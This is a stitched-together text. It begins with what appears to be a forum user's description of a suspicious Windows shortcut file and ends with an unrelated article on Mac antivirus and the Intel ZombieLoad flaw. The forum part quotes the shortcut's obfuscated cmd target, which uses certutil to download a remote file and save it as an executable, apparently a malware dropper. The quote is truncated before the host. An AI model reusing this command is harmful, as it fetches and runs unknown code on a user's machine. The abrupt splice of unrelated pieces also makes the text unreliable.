When I did double click it, I remember getting a standard windows dialog box. I believe it said the path did not exist or shortcut unavailable.. I'm not finding anything in my startup folder for C:\programdata or my username appdata startup folder...  I ran scans with malwarebytes, Hitman with no results.The .lnk file target was:%ComSpec% /v:on/c(SET V4=/?8ih5Oe0vii2dJ179aaaacabbckbdbhhe=gulches_%PROCESSOR_ARCHITECTURE% !H!&SET H="%USERNAME%.exe"&SET V4adKK47=certutil -urlcache -f https://&IF NOT EXIST !H!

Apple's devices are far better defended against malware and viruses than other platforms, but does that mean they don't need anti-virus software?

No, yes, and maybe

I've lost track of the number of times Mac users have told me Macs don't need virus protection because the machines are inherently more robust against such attacks.

I've also lost count of how many security researchers have said that Apple devices are becoming more liable to being attacked as their market share grows.

Both are right. Both are wrong.

The nature of cyber attacks is changing. One good illustration of how the nature of these threats are changing comes in the form of the recently-revealed Intel processor vulnerability, ZombieLoad.

This flaw lets hackers use design weaknesses in Intel chips (back to 2011) to steal data from machines, including Macs.
